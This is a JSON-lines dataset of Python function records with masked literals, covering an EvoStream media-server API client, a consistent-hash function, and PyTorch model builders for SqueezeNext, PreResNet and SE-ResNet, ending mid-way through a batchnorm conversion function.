{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def add_stream_alias(self, localStreamName, aliasName, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>localStreamName=localStreamName,<EOL>aliasName=aliasName, **kwargs)<EOL>", "docstring": "Allows you to create secondary name(s) for internal streams. Once an\nalias is created the localstreamname cannot be used to request\nplayback of that stream. Once an alias is used (requested by a client)\nthe alias is removed. Aliases are designed to be used to protect/hide\nyour source streams.\n\n:param localStreamName: The original stream name\n:type localStreamName: str\n\n:param aliasName: The alias alternative to the localStreamName\n:type aliasName: str\n\n:param expirePeriod: The expiration period for this alias. Negative\n    values will be treated as one-shot but no longer than the absolute\n    positive value in seconds, 0 means it will not expire, positive\n    values mean the alias can be used multiple times but expires after\n    this many seconds. The default is -600 (one-shot, 10 mins)\n:type expirePeriod: int\n\n:link: http://docs.evostream.com/ems_api_definition/addstreamalias", "id": "f4976:c0:m18"}
{"signature": "def list_stream_aliases(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Returns a complete list of aliases.\n\n:link: http://docs.evostream.com/ems_api_definition/liststreamaliases", "id": "f4976:c0:m19"}
{"signature": "@expected('<STR_LIT>', )<EOL><INDENT>def remove_stream_alias(self, aliasName):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', aliasName=aliasName)<EOL>", "docstring": "Removes an alias of a stream.\n\n:param aliasName: The alias to delete\n:type aliasName: str\n\n:link: http://docs.evostream.com/ems_api_definition/removestreamalias", "id": "f4976:c0:m20"}
{"signature": "def flush_stream_aliases(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Invalidates all streams aliases.\n\n:link: http://docs.evostream.com/ems_api_definition/flushstreamaliases", "id": "f4976:c0:m21"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def add_group_name_alias(self, groupName, aliasName):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', groupName=groupName,<EOL>aliasName=aliasName)<EOL>", "docstring": "Creates secondary name(s) for group names. Once an alias is created the\ngroup name cannot be used to request HTTP playback of that stream. Once\nan alias is used (requested by a client) the alias is removed. Aliases\nare designed to be used to protect/hide your source streams.\n\n:param groupName: The original group name\n:type groupName: str\n\n:param aliasName: The alias alternative to the group name\n:type aliasName: str\n\n:link: http://docs.evostream.com/ems_api_definition/addgroupnamealias", "id": "f4976:c0:m22"}
{"signature": "def flush_group_name_aliases(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Invalidates all group name aliases.\n\n:link: http://docs.evostream.com/ems_api_definition/flushgroupnamealiases", "id": "f4976:c0:m23"}
{"signature": "@expected('<STR_LIT>')<EOL><INDENT>def get_group_name_by_alias(self, aliasName):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>aliasName=aliasName)<EOL>", "docstring": "Returns the group name given the alias name.\n\n:param aliasName: The group name alias\n:type aliasName: str\n\n:link: http://docs.evostream.com/ems_api_definition/getgroupnamebyalias", "id": "f4976:c0:m24"}
{"signature": "def list_group_name_aliases(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Returns a complete list of group name aliases.\n\n:link: http://docs.evostream.com/ems_api_definition/listgroupnamealiases", "id": "f4976:c0:m25"}
{"signature": "@expected('<STR_LIT>')<EOL><INDENT>def remove_group_name_alias(self, aliasName):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>aliasName=aliasName)<EOL>", "docstring": "Removes an alias of a group.\n\n:param aliasName: The alias alternative to be removed from the group\n    name.\n:type aliasName: str\n\n:link: http://docs.evostream.com/ems_api_definition/removegroupnamealiases", "id": "f4976:c0:m26"}
{"signature": "def list_http_streaming_sessions(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Lists all currently active HTTP streaming sessions.\n\n:link: http://docs.evostream.com/ems_api_definition/listhttpstreamingsessions", "id": "f4976:c0:m27"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def create_ingest_point(self, privateStreamName, publicStreamName):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>privateStreamName=privateStreamName,<EOL>publicStreamName=publicStreamName)<EOL>", "docstring": "Creates an RTMP ingest point, which mandates that streams pushed into\nthe EMS have a target stream name which matches one Ingest Point\nprivateStreamName.\n\n:param privateStreamName: The name that RTMP Target Stream Names must\n    match.\n:type privateStreamName: str\n\n:param publicStreamName: The name that is used to access the stream\n    pushed to the privateStreamName. The publicStreamName becomes the\n    streams localStreamName.\n:type publicStreamName: str\n\n:link: http://docs.evostream.com/ems_api_definition/createingestpoint", "id": "f4976:c0:m28"}
{"signature": "@expected('<STR_LIT>')<EOL><INDENT>def remove_ingest_point(self, privateStreamName):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>privateStreamName=privateStreamName)<EOL>", "docstring": "Removes an RTMP ingest point.\n\n:param privateStreamName: The Ingest Point is identified by the\n    privateStreamName, so only that is required to delete it.\n:type privateStreamName: str\n\n:link: http://docs.evostream.com/ems_api_definition/removeingestpoint", "id": "f4976:c0:m29"}
{"signature": "def list_ingest_points(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Lists the currently available Ingest Points.\n\n:link: http://docs.evostream.com/ems_api_definition/listingestpoints", "id": "f4976:c0:m30"}
{"signature": "def start_web_rtc(self, ersip, ersport, roomId):", "body": "return self.protocol.execute('<STR_LIT>', ersip=ersip, ersport=ersport,<EOL>roomId=roomId)<EOL>", "docstring": "Starts a WebRTC signalling client to an ERS (Evostream Rendezvous\nServer).\n\n:param ersip: IP address (xx.yy.zz.xx) of ERS.\n:type ersip: str\n\n:param ersport: IP port of ERS.\n:type ersport: int\n\n:param roomId: Unique room Identifier within ERS that will be used by\n    client browsers to connect to this EMS.\n:type roomId: str\n\n:link: http://docs.evostream.com/ems_api_definition/startwebrtc", "id": "f4976:c0:m31"}
{"signature": "def get_module_class(class_path):", "body": "mod_name, cls_name = class_path.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>try:<EOL><INDENT>mod = import_module(mod_name)<EOL><DEDENT>except ImportError as ex:<EOL><INDENT>raise EvoStreamException('<STR_LIT>'<EOL>'<STR_LIT>' % (mod_name, ex))<EOL><DEDENT>return getattr(mod, cls_name)<EOL>", "docstring": "imports and returns module class from ``path.to.module.Class``\nargument", "id": "f4977:m0"}
{"signature": "def py_hash(key, num_buckets):", "body": "b, j = -<NUM_LIT:1>, <NUM_LIT:0><EOL>if num_buckets < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>while j < num_buckets:<EOL><INDENT>b = int(j)<EOL>key = ((key * long(<NUM_LIT>)) + <NUM_LIT:1>) & <NUM_LIT><EOL>j = float(b + <NUM_LIT:1>) * (float(<NUM_LIT:1> << <NUM_LIT>) / float((key >> <NUM_LIT>) + <NUM_LIT:1>))<EOL><DEDENT>return int(b)<EOL>", "docstring": "Generate a number in the range [0, num_buckets).\n\n    Args:\n        key (int): The key to hash.\n        num_buckets (int): Number of buckets to use.\n\n    Returns:\n        The bucket number `key` computes to.\n\n    Raises:\n        ValueError: If `num_buckets` is not a positive number.", "id": "f4981:m0"}
{"signature": "def channel_shuffle(x,<EOL>groups):", "body": "batch, channels, height, width = x.size()<EOL>channels_per_group = channels // groups<EOL>x = x.view(batch, groups, channels_per_group, height, width)<EOL>x = torch.transpose(x, <NUM_LIT:1>, <NUM_LIT:2>).contiguous()<EOL>x = x.view(batch, channels, height, width)<EOL>return x<EOL>", "docstring": "Channel Shuffle operation from ShuffleNet [arxiv: 1707.01083]\n    Arguments:\n        x (Tensor): tensor to shuffle.\n        groups (int): groups to be split", "id": "f4984:m2"}
{"signature": "def get_squeezenext(version,<EOL>width_scale,<EOL>model_name=None,<EOL>pretrained=False,<EOL>root=os.path.join('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>**kwargs):", "body": "init_block_channels = <NUM_LIT:64><EOL>final_block_channels = <NUM_LIT><EOL>channels_per_layers = [<NUM_LIT:32>, <NUM_LIT:64>, <NUM_LIT>, <NUM_LIT>]<EOL>if version == '<STR_LIT>':<EOL><INDENT>layers = [<NUM_LIT:6>, <NUM_LIT:6>, <NUM_LIT:8>, <NUM_LIT:1>]<EOL><DEDENT>elif version == '<STR_LIT>':<EOL><INDENT>layers = [<NUM_LIT:2>, <NUM_LIT:4>, <NUM_LIT>, <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(version))<EOL><DEDENT>channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)]<EOL>if width_scale != <NUM_LIT:1>:<EOL><INDENT>channels = [[int(cij * width_scale) for cij in ci] for ci in channels]<EOL>init_block_channels = int(init_block_channels * width_scale)<EOL>final_block_channels = int(final_block_channels * width_scale)<EOL><DEDENT>net = SqueezeNext(<EOL>channels=channels,<EOL>init_block_channels=init_block_channels,<EOL>final_block_channels=final_block_channels,<EOL>**kwargs)<EOL>if pretrained:<EOL><INDENT>if (model_name is None) or (not model_name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>import torch<EOL>from .model_store import get_model_file<EOL>net.load_state_dict(torch.load(get_model_file(<EOL>model_name=model_name,<EOL>local_model_store_dir_path=root)))<EOL><DEDENT>return net<EOL>", "docstring": "Create SqueezeNext model with specific parameters.\n\nParameters:\n----------\nversion : str\n    Version of SqueezeNet ('23' or '23v5').\nwidth_scale : float\n    Scale factor for width of layers.\nmodel_name : str or None, default None\n    Model name for loading pretrained model.\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nctx : Context, default CPU\n    The context in which to load the pretrained weights.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m0"}
{"signature": "def sqnxt23_w1(**kwargs):", "body": "return get_squeezenext(version=\"<STR_LIT>\", width_scale=<NUM_LIT:1.0>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "1.0-SqNxt-23 model from 'SqueezeNext: Hardware-Aware Neural Network Design,' https://arxiv.org/abs/1803.10615.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m1"}
{"signature": "def sqnxt23_w3d2(**kwargs):", "body": "return get_squeezenext(version=\"<STR_LIT>\", width_scale=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "0.75-SqNxt-23 model from 'SqueezeNext: Hardware-Aware Neural Network Design,' https://arxiv.org/abs/1803.10615.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m2"}
{"signature": "def sqnxt23_w2(**kwargs):", "body": "return get_squeezenext(version=\"<STR_LIT>\", width_scale=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "0.5-SqNxt-23 model from 'SqueezeNext: Hardware-Aware Neural Network Design,' https://arxiv.org/abs/1803.10615.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m3"}
{"signature": "def sqnxt23v5_w1(**kwargs):", "body": "return get_squeezenext(version=\"<STR_LIT>\", width_scale=<NUM_LIT:1.0>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "1.0-SqNxt-23v5 model from 'SqueezeNext: Hardware-Aware Neural Network Design,' https://arxiv.org/abs/1803.10615.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m4"}
{"signature": "def sqnxt23v5_w3d2(**kwargs):", "body": "return get_squeezenext(version=\"<STR_LIT>\", width_scale=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "0.75-SqNxt-23v5 model from 'SqueezeNext: Hardware-Aware Neural Network Design,' https://arxiv.org/abs/1803.10615.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m5"}
{"signature": "def sqnxt23v5_w2(**kwargs):", "body": "return get_squeezenext(version=\"<STR_LIT>\", width_scale=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "0.5-SqNxt-23v5 model from 'SqueezeNext: Hardware-Aware Neural Network Design,' https://arxiv.org/abs/1803.10615.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4989:m6"}
{"signature": "def se_resnet18(num_classes):", "body": "model = ResNet(SEBasicBlock, [<NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:2>], num_classes=num_classes)<EOL>model.avgpool = nn.AdaptiveAvgPool2d(<NUM_LIT:1>)<EOL>return model<EOL>", "docstring": "Constructs a ResNet-18 model.\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet", "id": "f4994:m1"}
{"signature": "def se_resnet34(num_classes):", "body": "model = ResNet(SEBasicBlock, [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:3>], num_classes=num_classes)<EOL>model.avgpool = nn.AdaptiveAvgPool2d(<NUM_LIT:1>)<EOL>return model<EOL>", "docstring": "Constructs a ResNet-34 model.\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet", "id": "f4994:m2"}
{"signature": "def se_resnet50(num_classes):", "body": "model = ResNet(SEBottleneck, [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:3>], num_classes=num_classes)<EOL>model.avgpool = nn.AdaptiveAvgPool2d(<NUM_LIT:1>)<EOL>return model<EOL>", "docstring": "Constructs a ResNet-50 model.\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet", "id": "f4994:m3"}
{"signature": "def se_resnet101(num_classes):", "body": "model = ResNet(SEBottleneck, [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT>, <NUM_LIT:3>], num_classes=num_classes)<EOL>model.avgpool = nn.AdaptiveAvgPool2d(<NUM_LIT:1>)<EOL>return model<EOL>", "docstring": "Constructs a ResNet-101 model.\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet", "id": "f4994:m4"}
{"signature": "def se_resnet152(num_classes):", "body": "model = ResNet(SEBottleneck, [<NUM_LIT:3>, <NUM_LIT:8>, <NUM_LIT>, <NUM_LIT:3>], num_classes=num_classes)<EOL>model.avgpool = nn.AdaptiveAvgPool2d(<NUM_LIT:1>)<EOL>return model<EOL>", "docstring": "Constructs a ResNet-152 model.\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet", "id": "f4994:m5"}
{"signature": "def conv1x1(in_channels,<EOL>out_channels,<EOL>stride):", "body": "return nn.Conv2d(<EOL>in_channels=in_channels,<EOL>out_channels=out_channels,<EOL>kernel_size=<NUM_LIT:1>,<EOL>stride=stride,<EOL>padding=<NUM_LIT:0>,<EOL>bias=False)<EOL>", "docstring": "Convolution 1x1 layer.\n\nParameters:\n----------\nin_channels : int\n    Number of input channels.\nout_channels : int\n    Number of output channels.\nstride : int or tuple/list of 2 int\n    Strides of the convolution.", "id": "f4996:m0"}
{"signature": "def preres_conv1x1(in_channels,<EOL>out_channels,<EOL>stride):", "body": "return PreResConv(<EOL>in_channels=in_channels,<EOL>out_channels=out_channels,<EOL>kernel_size=<NUM_LIT:1>,<EOL>stride=stride,<EOL>padding=<NUM_LIT:0>)<EOL>", "docstring": "1x1 version of the PreResNet specific convolution block.\n\nParameters:\n----------\nin_channels : int\n    Number of input channels.\nout_channels : int\n    Number of output channels.\nstride : int or tuple/list of 2 int\n    Strides of the convolution.", "id": "f4996:m1"}
{"signature": "def preres_conv3x3(in_channels,<EOL>out_channels,<EOL>stride):", "body": "return PreResConv(<EOL>in_channels=in_channels,<EOL>out_channels=out_channels,<EOL>kernel_size=<NUM_LIT:3>,<EOL>stride=stride,<EOL>padding=<NUM_LIT:1>)<EOL>", "docstring": "3x3 version of the PreResNet specific convolution block.\n\nParameters:\n----------\nin_channels : int\n    Number of input channels.\nout_channels : int\n    Number of output channels.\nstride : int or tuple/list of 2 int\n    Strides of the convolution.\nbn_use_global_stats : bool\n    Whether global moving statistics is used instead of local batch-norm for BatchNorm layers.", "id": "f4996:m2"}
{"signature": "def get_preresnet(blocks,<EOL>conv1_stride=True,<EOL>width_scale=<NUM_LIT:1.0>,<EOL>model_name=None,<EOL>pretrained=False,<EOL>root=os.path.join('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>**kwargs):", "body": "if blocks == <NUM_LIT:10>:<EOL><INDENT>layers = [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>]<EOL><DEDENT>elif blocks == <NUM_LIT:12>:<EOL><INDENT>layers = [<NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>]<EOL><DEDENT>elif blocks == <NUM_LIT>:<EOL><INDENT>layers = [<NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:1>]<EOL><DEDENT>elif blocks == <NUM_LIT:16>:<EOL><INDENT>layers = [<NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:1>]<EOL><DEDENT>elif blocks == <NUM_LIT>:<EOL><INDENT>layers = [<NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:2>]<EOL><DEDENT>elif blocks == <NUM_LIT>:<EOL><INDENT>layers = [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:3>]<EOL><DEDENT>elif blocks == <NUM_LIT:50>:<EOL><INDENT>layers = [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:3>]<EOL><DEDENT>elif blocks == <NUM_LIT>:<EOL><INDENT>layers = [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT>, <NUM_LIT:3>]<EOL><DEDENT>elif blocks == <NUM_LIT>:<EOL><INDENT>layers = [<NUM_LIT:3>, <NUM_LIT:8>, <NUM_LIT>, <NUM_LIT:3>]<EOL><DEDENT>elif blocks == <NUM_LIT:200>:<EOL><INDENT>layers = [<NUM_LIT:3>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:3>]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(blocks))<EOL><DEDENT>init_block_channels = <NUM_LIT:64><EOL>if blocks < <NUM_LIT:50>:<EOL><INDENT>channels_per_layers = [<NUM_LIT:64>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>bottleneck = False<EOL><DEDENT>else:<EOL><INDENT>channels_per_layers = [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>bottleneck = True<EOL><DEDENT>channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)]<EOL>if width_scale != <NUM_LIT:1.0>:<EOL><INDENT>channels = [[int(cij * width_scale) for cij in ci] for ci in channels]<EOL>init_block_channels = int(init_block_channels * width_scale)<EOL><DEDENT>net = PreResNet(<EOL>channels=channels,<EOL>init_block_channels=init_block_channels,<EOL>bottleneck=bottleneck,<EOL>conv1_stride=conv1_stride,<EOL>**kwargs)<EOL>if pretrained:<EOL><INDENT>if (model_name is None) or (not model_name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>import torch<EOL>from .model_store import get_model_file<EOL>net.load_state_dict(torch.load(get_model_file(<EOL>model_name=model_name,<EOL>local_model_store_dir_path=root)))<EOL><DEDENT>return net<EOL>", "docstring": "Create PreResNet model with specific parameters.\n\nParameters:\n----------\nblocks : int\n    Number of blocks.\nconv1_stride : bool\n    Whether to use stride in the first or the second convolution layer in units.\nwidth_scale : float\n    Scale factor for width of layers.\nmodel_name : str or None, default None\n    Model name for loading pretrained model.\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m3"}
{"signature": "def preresnet10(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:10>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-10 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\nIt's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m4"}
{"signature": "def preresnet12(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:12>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-12 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\nIt's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m5"}
{"signature": "def preresnet14(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-14 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\nIt's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m6"}
{"signature": "def preresnet16(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:16>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-16 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\nIt's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m7"}
{"signature": "def preresnet18_wd4(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, width_scale=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-18 model with 0.25 width scale from 'Identity Mappings in Deep Residual Networks,'\nhttps://arxiv.org/abs/1603.05027. It's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m8"}
{"signature": "def preresnet18_wd2(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, width_scale=<NUM_LIT:0.5>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-18 model with 0.5 width scale from 'Identity Mappings in Deep Residual Networks,'\nhttps://arxiv.org/abs/1603.05027. It's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m9"}
{"signature": "def preresnet18_w3d4(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, width_scale=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-18 model with 0.75 width scale from 'Identity Mappings in Deep Residual Networks,'\nhttps://arxiv.org/abs/1603.05027. It's an experimental model.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m10"}
{"signature": "def preresnet18(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-18 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m11"}
{"signature": "def preresnet34(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-34 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m12"}
{"signature": "def preresnet50(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:50>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-50 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m13"}
{"signature": "def preresnet50b(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:50>, conv1_stride=False, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-50 model with stride at the second convolution in bottleneck block from 'Identity Mappings in Deep\nResidual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m14"}
{"signature": "def preresnet101(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-101 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m15"}
{"signature": "def preresnet101b(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, conv1_stride=False, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-101 model with stride at the second convolution in bottleneck block from 'Identity Mappings in Deep\nResidual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m16"}
{"signature": "def preresnet152(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-152 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m17"}
{"signature": "def preresnet152b(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT>, conv1_stride=False, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-152 model with stride at the second convolution in bottleneck block from 'Identity Mappings in Deep\nResidual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m18"}
{"signature": "def preresnet200(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:200>, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-200 model from 'Identity Mappings in Deep Residual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m19"}
{"signature": "def preresnet200b(**kwargs):", "body": "return get_preresnet(blocks=<NUM_LIT:200>, conv1_stride=False, model_name=\"<STR_LIT>\", **kwargs)<EOL>", "docstring": "PreResNet-200 model with stride at the second convolution in bottleneck block from 'Identity Mappings in Deep\nResidual Networks,' https://arxiv.org/abs/1603.05027.\n\nParameters:\n----------\npretrained : bool, default False\n    Whether to load the pretrained weights for model.\nroot : str, default '~/.torch/models'\n    Location for keeping the model parameters.", "id": "f4996:m20"}
{"signature": "def convert_batchnorm(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:6>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>bias_name = '<STR_LIT>'.format(w_name)<EOL>weights_name = '<STR_LIT>'.format(w_name)<EOL>mean_name = '<STR_LIT>'.format(w_name)<EOL>var_name = '<STR_LIT>'.format(w_name)<EOL>if bias_name in weights:<EOL><INDENT>beta = weights[bias_name].numpy()<EOL><DEDENT>if weights_name in weights:<EOL><INDENT>gamma = weights[weights_name].numpy()<EOL><DEDENT>mean = weights[mean_name].numpy()<EOL>variance = weights[var_name].numpy()<EOL>eps = params['<STR_LIT>']<EOL>momentum = params['<STR_LIT>']<EOL>if weights_name not in weights:<EOL><INDENT>bn = keras.layers.BatchNormalization(<EOL>axis=<NUM_LIT:1>, momentum=momentum, epsilon=eps,<EOL>center=False, scale=False,<EOL>weights=[mean, variance],<EOL>name=tf_name<EOL>)<EOL><DEDENT>else:<EOL><INDENT>bn = keras.layers.BatchNormalization(<EOL>axis=<NUM_LIT:1>, momentum=momentum, epsilon=eps,<EOL>weights=[gamma, beta, mean, 